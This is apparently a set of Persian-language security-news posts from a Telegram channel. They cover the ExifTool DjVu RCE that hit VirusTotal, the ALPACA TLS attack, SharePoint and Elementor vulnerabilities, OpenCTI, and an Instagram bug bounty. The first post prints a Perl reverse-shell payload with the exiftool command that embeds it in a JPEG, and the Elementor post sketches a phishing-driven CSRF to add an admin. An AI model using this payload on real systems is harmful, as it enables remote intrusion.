#CVE-2021-22204 #VirusTotal #RCE
مثل اینکه سرویس آنلاین VirusTotal از ابزار Exiftool استفاده میکرده که برای این ابزار، در خصوص پارس فایل فرمت DjVu یک آسیب پذیری RCE با شناسه CVE-2021-22204 ثبت شده بوده که بدلیل بروز رسانی نکردن ابزار، بر روی سرور VirusTotal این وبسایت مورد نفوذ قرار گرفته است.

(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")

کاری که فایل بارگزاری شده انجام میدهد این است که ما یک تگ جدید روی فایل با نام HasselbladExif و بایت های 0xc51b بنویسیم تا آن را در فایل جدید خود شناسایی کنیم. سپس میتوانیم آن را در داخل هر فایلی قرار دهیم. در نهایت فایل آماده djvu, را با فایل فرمت دیگری مثل JPEG ترکیب میکنیم که اینبار بواسطه Exiftool انجام میشه.

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

https://www.cysrc.com/blog/virus-total-blog/
@Unk9vvN

#ALPACA (Application Layer Protocol Confusion Attack)
در مقاله ای از دانشگاه Ruhr و Munster یک ارائه مطرح شده مبنی بر ALPACA که مشخص میکنه بواسطه ایجاد یک مهاجم مرد میانی اجازه می‌دهد تا ترافیک TLS را به یک نقطه پایانی سرویس TLS دیگر در آدرس IP و یا پورت دیگری هدایت کند.

به عنوان مثال، اگر زیردامنه‌ها یک گواهی نامه عام را به اشتراک بگذارند، مهاجم می‌تواند ترافیک را از یک زیر دامنه به زیر دامنه دیگر هدایت کند و در نتیجه یک جلسه TLS معتبر ایجاد شود. این امر احراز هویت TLS را نقض می‌کند و حملات متقابل پروتکل ممکن است در مواردی که رفتار یک سرویس ممکن است امنیت سرویس دیگر را در لایه برنامه به خطر بیندازد.

یک مطالعه موردی سیستماتیک روی سرورهای وب انجام شده، درخواست‌های HTTPS را از مرورگر وب قربانی به سرورهای SMTP، IMAP، POP3 و FTP هدایت میشود و ما نشان داده میشه که در سناریو های واقعی، مهاجم می‌تواند کوکی‌های جلسه و سایر داده‌های کار کاربر خصوصی را استخراج کند یا جاوا اسکریپت دلخواه را در زمینه وب سرور آسیب‌پذیر اجرا کند، بنابراین TLS و امنیت برنامه وب را دور می‌زند.

Reference
@Unk9vvN

#SharePoint #Deserialize #Vulnerability
نمونه ای از آسیب پذیری Deserialize در Functionality های پارس مقادیر sk یا Session Key که منجر به اجرای کد از راه دور میشود،

این آسیب پذیری روی نسخه های ۲۰۱۹ ، ۲۰۱۶ و ۲۰۱۳ وجود داشته و با شناسه CVE-2022-22005 ثبت شده است، فرایند اعمال وصله مایکروسافت در نسخه های قبلی دور زده شده و شروطی که برای تصدیق عدم وجود Object های خطرناک به درستی طراحی نشده است،

مدت دو ساله که محققین تست نفوذ وب تمرکز خودشون رو در خصوص دور زدن فیلترینگ ها و اعمال تصدیق های مایکروسافت بر روی آسیب پذیری هایی مانند Deserialization و SSRF و Directory Traversal گذاشته اند و اغلب موفق هم بوده اند،

یکی از عوامل موفقیت و جذابیت این آسیب پذیری ها، دسترسی به منابع کد سرویس های مایکروسافتی بوده و همچنین ماهیت این آسیب پذیری ها در حملات #APT بسیار مهم و نقش آفرین است...

https://hnd3884.github.io/posts/cve-2022-22005-microsoft-sharepoint-RCE/
@Unk9vvN

#Elementor #XSS #Reflected #Vulnerability
مدت 4 ماهه که یک آسیب پذیری برای افزونه Elementor ثبت شده که از نسخه 1.5.0 تا 3.1.4 امکان رخدادش وجود داره.

این آسیب پذیری از نوع Reflected بوده که بصورت Unauthenticated امکان تزریق کد جاوا اسکریپت رو خواهد داشت، منطقه آسیب پذیر پارامتر settings در #elementor-action:action=lightbox&settings= هستش که مقدار Base64 شده دریافت میکنه و نوع محتوا JSON هستش،

آسیب پذیری در بخش یک switch قرار داره که میبایست نوع داده دریافتی رو مشخص کنه، در switch قرار داده شده نوع options یا میبایست video باشه یا image و یا slideshow ، اگر هیچ کدام اینها نبود بصورت default نوع محتوای options رو html در نظر خواهد گرفت که این یعنی تزریق کد جاوا اسکریپتی!

روش های بهره برداری از این نوع آسیب پذیری ها قالبا مبتنی بر مهندسی اجتماعی میتونه باشه، اگر مهاجم ایمیل فیشینگ مناسبی رو تهیه کرده باشه و بواسطه تحریک ادمین وبسایت، یک کلیک لینک بدزده، میتونه حمله CSRF خودش رو مبنی بر اضافه کردن ادمین ترتیب بده.

جالبه که این آسیب پذیری 4 ماهه روی برخی سایت های فعال در حوزه امنیت هم بچشم میخوره.


@Unk9vvN

#OpenCTI #Cyber #Threat #Intelligence
ابزار OpenCTI یک پلتفرم منبع باز است که به سازمان ها امکان میدهد تیم های شکار تهدید، اکتشافات خود را در قالب IoC های طراحی شده با یکی دیگر به اشتراک بگذارند. این به منظور ایمن سازی سریع تمامی سازمان های مشارکت کننده است.

هدف ایجاد یک ابزار جامع است که به کاربران اجازه میدهد تا از اطلاعات فنی مانند (TTP و IoC) و غیر... استفاده کنند و در عین حال هر قسمت از اطلاعات را به SOC اصلی خود مرتبط کنند مانند (MISP و غیره)،همچنین این ماتریس تکنیکی و تاکتیکی مبتنی بر چهارچوب MITRE ATT&CK هماهنگ خواهند بود.

ساختار داده ها با استفاده از فرم و استانداردهای STIX2 طراحی شده است. در این ابزار از تکنولوژی هایی از جمله GraphQL API و UX بهره برده شده است. همچنین OpenCTI را میتوان با ابزارها و برنامه های کاربردی دیگری مانند MISP، TheHive، MITRE ATT&CK و ... ادغام کرد.

https://github.com/OpenCTI-Platform/opencti
@Unk9vvN

#Critical #Bug in #Instagram
یه محقق هندی تونسته یک آسیب پذیری Broken Authorization پیدا کنه و بدلیل عدم تصدیق صحیح API اینستاگرام که از نوع GraphQL است، مهاجم میتواند با استفاده از جایگزینی ID مربوط به پارامتر clips_media_id با media_id یک پست دیگر، یک ویدیو را در صفحه قربانی بارگزاری کند و حتی تصویر thumbnail رو هم در پست هدف قرار بدهد.

این آسیب پذیری 49500 دلار جایزه در بر داشته که شرکت Facebook به شکارچی پرداخت کرده است، این نکته لازم به ذکر که بدونیم غالبا فرایند های Authentication و Authorization در API ها دارای چالش و آسیب پذیری بوده است، از این روی توجه به تکنیک های تست نفوذ در این منطقه، موردی مناسب برای کشف آسیب پذیری است.

https://medium.com/@root.n33r4j/how-i-found-a-critical-bug-in-instagram-and-got-49500-bounty-from-facebook-626ff2c6a853
@Unk9vvN